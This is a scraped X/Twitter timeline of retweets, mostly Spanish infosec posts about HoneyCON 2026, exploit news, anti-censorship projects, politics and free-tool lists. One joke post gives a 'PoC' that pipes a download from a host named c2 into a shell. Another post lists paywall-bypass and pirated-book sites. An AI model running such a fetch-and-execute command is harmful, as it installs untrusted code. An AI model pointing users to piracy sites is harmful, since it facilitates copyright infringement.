tXambe retweeted
🚨Si amigos, tenemos nuevo 0day: curl2shell
🧐Puede comprometer casi cualquier Linux y yo diría muchos Windows también.
Casi el 70% de Internet afectada.
PoC: 𝚌𝚞𝚛𝚕 -𝚜 𝚑𝚝𝚝𝚙://𝚌𝟸 | 𝚜𝚑
🔥 No puede ser parcheada!
tXambe retweeted
Script de recon para identificar en un listado de webs, las afectadas por los CVEs CVE-2026-109618 y CVE-2026-109619, las que usan #PHP; y establecer órdenes de prioridad en sus mitigaciones.
github.com/mikiminoru/NoisyE…
#PHP2Shell
tXambe retweeted
Exploit público para vulnerabilidad RCE de Fortinet FortiSIEM sin login
Se ha publicado un exploit de prueba de concepto para la vulnerabilidad crítica CVE-2026-106173 en Fortinet FortiSIEM
blog.elhacker.net/2026/10/ex…
tXambe retweeted
NIST, NSA y CISA publicaron 10 prácticas para prevenir, detectar y responder a incidentes durante el entrenamiento y evaluación de la IA. Buscan contener acciones autónomas no autorizadas, recuperar sistemas y fortalecer la supervisión humana.
nist.gov/news-events/news/20…
tXambe retweeted
XI HoneyCON 2026 congregó a cerca de 500 personas. El congreso de ciberseguridad de Guadalajara cerró tres jornadas de charlas, talleres y actividades para todos los públicos.
#HoneyCON26 @TRGuadalajara #Guadalajara
latribunadeguadalajara.es/no…
tXambe retweeted
Cerramos la primera jornada de #HoneyCON26 con la mejor compañía!
tXambe retweeted
¡¡HOY COMIENZA #HoneyCON26!!
Estaremos en @Arcadia_Bar con la @hackandbeers, en el mejor ambiente con las cervezas de @SophosIberia.
Saca tu entrada en ⤵️ hackandbeers.es/events/hackb…
Tendremos 3 ponencias:
tXambe retweeted
Acabo de crear algo que siempre quise: un software de recuperación de archivos borrados, gratuito, open sorce, facil de usar, que no dependa de que alguien sepa usar linea de comandos:
PhoinixDR · Open Source Data Recovery
pcoronaf.github.io/PhoinixDR…
tXambe retweeted
Como comentaba hace unos días, vista la deriva autoritaria que vemos en el mundo, con las evidencias que tenemos del menoscabo de los Derechos Fundamentales de los ciudadanos que, en particular son severas en cuanto a sus Derechos Digitales Fundamentales... creemos que es nuestra responsabilidad tomar acción.
Es por ello que lanzamos el proyecto #cryptograFREE. Este proyecto va a avanzar lenta e implacablemente para hacer imposible que funcionen cosas como los bloqueos incontrolados de IP. También crear mecanismos de canales encubiertos anticensura o sistemas distribuidos que permitan al ciudadano contar con negación plausible frente al exceso de los poderes.
Vamos a empezar con un concurso de herramientas centradas en garantizar los Derechos Fundamentales.
Podéis leer en detalle en: cryptografree.org/ #cryptograFREE
tXambe retweeted
Si mañana no tienes con quién ir a la manifestación de Madrid.
Mi grupo estará de 19:30 a 19:45 en la cafetería del Prado, al lado del Ministerio de Sanidad.
Iremos de blanco ( paz) o blanco y negro ( bandera de Ceuta). Nada de banderas o consignas partidistas.
U r welcome
tXambe retweeted
¿Quieres formar parte como ponente de la siguiente edición de HoneyCON?
¡ENVIANOS TU PROPUESTA!
forms.gle/6DzJfxwu2xTo91DA7
tXambe retweeted
¿Qué sentido tiene seguir votando en un sistema como este?
- Los dos partidos mayoritarios, cada vez que gobiernan, dejan patente a través de su Corrupción que no tienen escrúpulos ni interés en lo que le pasa al ciudadano.
- Los minoritarios que vienen a "cambiar las cosas" son simplemente otros extractores de rentas que buscan estar en la mesa de las comilonas a costa del ciudadano.
- El ciudadano observa cómo se le va presionando económicamente, empobreciéndose, mientras los afines a los que gobiernas se llevan pisos de protección oficial y puestos fijos bien renumerados.
Ya hace tiempo que era el momento de acabar con este modelo enfermizo. Ahora es ya un tema de autoprotección: no va a mejorar, va a empeorar.
Un youtuber brasileño le acaba de clavar un puñal a la suscripción de Photoshop.
Se llama PhotoGIMP: un parche gratuito (GPL-3.0) que convierte GIMP en una copia casi idéntica de Photoshop.
Misma interfaz, mismos paneles, mismos atajos de teclado y muchísimo más espacio para tu lienzo. Tus manos ya saben usarlo sin aprender nada nuevo.
¿Por qué está explotando?
- $0 en vez de $276 al año
- Sin cuenta Adobe ni login
- Todo se guarda en tu PC (nada en la nube)
- Compatible con Windows, Mac y Linux
- Se desinstala borrando una carpeta (sin rastro)
Instalación ridículamente fácil: copias 9 archivos y listo. +8.8k estrellas en GitHub y traducciones de la comunidad.
Uso personal y comercial 100% permitido.
Readers added context they thought people might want to know
PhotoGIMP is not new and has been around since 2020: github.com/Diolinux/Photo…
This account and multiple others have been using similar posts to engagement farm over the last few weeks:
x.com/heynavtoor/sta…
x.com/AiwithZoaina/s…
This post from 3rd May was even community noted as such:
x.com/HowToAI_/statu…
tXambe retweeted
谷歌不想让你知道的50个网站
1. '12ft.io' — 绕过任何付费墙
2. 'libgen.is' — 数百万免费教科书
3. 'sci-hub.se' — 免费研究论文
4. 'alternativeto.net' — 寻找免费应用替代品
5. 'justwatch.com' — 找到任何内容的流媒体位置
6. 'archive.org' — 访问任何旧网页
7. 'gutenberg.org' — 7万本免费经典书籍
8. 'pdfdrive.com' — 免费PDF下载
9. 'openculture.com' — 顶级大学免费课程
10. 'wolframalpha.com' — 即时求解任何数学题
11. 'photopea.com' — 浏览器内免费Photoshop
12. 'squoosh.app' — 免费压缩任何图像
13. 'remove.bg' — 免费移除图像背景
14. 'cleanup.pictures' — 从照片中擦除物体
15. 'unscreen.com' — 移除视频背景
16. 'carbon.now.sh' — 将代码转换为艺术
17. 'ray.so' — 精美代码截图
18. 'shots.so' — 免费产品模型
19. 'smartmockups.com' — 无需Photoshop的模型
20. 'haveibeenpwned.com' — 检查您是否被黑客攻击
21. 'virustotal.com' — 扫描任何文件中的恶意软件
22. 'privnote.com' — 发送自毁消息
23. 'temp-mail.org' — 即时一次性邮箱
24. 'file.io' — 共享自动删除的文件
25. 'archive.ph' — 永久保存任何网页
26. 'similarsites.com' — 寻找任何网站的替代品
27. 'radio.garden' — 收听全球任何电台
28. 'everynoise.com' — 探索每种音乐流派
29. 'tunefind.com' — 从任何剧集查找歌曲
30. 'musicforprogramming.net' — 专注音乐
31. 'mynoise.net' — 自定义专注声景
32. 'coffitivity.com' — 咖啡厅声音促进生产力
33. 'elicit.org' — AI研究论文助手
34. 'consensus.app' — 搜索科学共识
35. 'connectedpapers.com' — 可视化研究地图
36. 'semanticscholar.org' — 免费学术搜索
37. 'scispace.com' — 理解任何研究论文
38. 'summarize.tech' — 总结任何YouTube视频
39. 'phind.com' — 开发者AI搜索
40. 'regex101.com' — 即时测试任何正则表达式
41. 'codebeautify.org' — 整洁格式化代码
42. 'jsonformatter.org' — 像人类一样读JSON
43. 'explainshell.com' — 理解终端命令
44. 'raindrop.io' — 有效的书签管理器
45. 'downdetector.com' — 检查任何网站是否宕机
46. 'tineye.com' — 反向图像搜索
47. 'fast.com' — 检查网速
48. 'smallpdf.com' — 免费编辑PDF
49. 'ilovepdf.com' — 合并和分割PDF
50. '10minutemail.com' — 秒级临时邮箱
互联网远大于谷歌展示的内容。
大多数人永远不会离开第一页。
🚨Por qué nadie está hablando de ESTO? NVIDIA está regalando acceso GRATIS vía API a más de 80 modelos de IA hosted.
Modelos incluidos:
• MiniMax M2.7
• GLM 5.1
• Kimi 2.5
• DeepSeek 3.2
• GPT-OSS-120B
• Sarvam-M
y muchos más.
Funciona directo con Cursor, Zed, OpenCode, Hermes, OpenClaude, etc.
Cómo configurarlo en 30 segundos:
1. Consigue tu API Key gratis → build.nvidia.com
2. Base URL: integrate.api.nvidia.com
3. Elige el model ID (ej: `minimaxai/minimax-m2.7`)
Si estás prototipando o experimentando con IA esto es inferencia gratis.
La mayoría de builders aún no lo sabe.
Me das las gracias despues.


























